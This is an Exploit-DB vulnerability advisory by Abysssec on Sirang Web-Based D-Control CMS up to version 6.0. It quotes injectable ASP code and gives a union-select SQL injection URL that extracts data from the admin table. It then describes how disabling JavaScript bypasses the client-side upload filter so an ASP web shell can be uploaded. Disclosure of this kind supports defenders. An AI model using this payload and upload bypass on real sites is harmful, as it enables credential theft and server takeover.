sirang web-based d-control - Multiple Vulnerabilities

EDB-ID:

14943

CVE:

N/A


Author:

Abysssec

Type:

webapps


Platform:

ASP

Date:

2010-09-08


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- Title  : Sirang Web-Based D-Control Multiple Remote Vulnerabilities 
- Affected Version : <= v6.0
- Vendor  Site   : http://www.sirang.com 

- Discovery : Abysssec.com



Description : 

this CMS suffer from OWASP top 10 !!!
some of there will come here ...

Vulnerabilites : 
======================================================================================================================
1- SQL Injection

Vulnerability is located in content.asp

line 131-133
...
    txt="select * from news where del='false' and "+keyfld+"!='-' order by id desc limit 1"
    set rs=conn.execute(txt)
	while not rs.eof
...

content.asp line 202-206
...
if id<>"" then
                    txt10 ="select * from "+ cstr(tblname) +" where del='false' and id='"+ id +"'"
                    set xx = conn.execute(txt10)
                    if not xx.eof then
...             

lots of files those will have to do input validation from user input are vulnerable to SQL Injection .

PoC : 
www.site.com/main_fa.asp?status=news&newsID=23'/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/dc_admin/*
note : if you can't see result you need to do it blindly 


======================================================================================================================
2- Bypass uploads restriction:

after you got user/pass with sql injection go to
http://site.com/admin/dc_upload.asp

js file line 13-34 :


function showthumb(file) {
	if (file !='') {
	myshowfile = file;
	
	extArray = new Array(".gif", ".jpg", ".png", ".bmp", ".jpe");
	allowSubmit = false;
	while (file.indexOf("\\") != -1)
	file = file.slice(file.indexOf("\\") + 1);
	ext = file.slice(file.indexOf(".")).toLowerCase();
	for (var i = 0; i < extArray.length; i++) {
	if (extArray[i] == ext) { allowSubmit = true; break; }
	}
	
	if (allowSubmit) thumb.src=myshowfile;
	else
	alert("Only files that end in types:  " + (extArray.join("  ")) + " could be previewd.");
	}
	else {
	alert("Only files that end in types:  " + (extArray.join("  ")) + " could be previewd.");
	}
}
 
as you can see the uploader will check malicious extention by javascript . just disable javascript and you can upload "ASP" shell. 

you can find your shell in : www.site.com/0_site_com/[rnd-number].asp (the application itself will show you right rnd number after upload)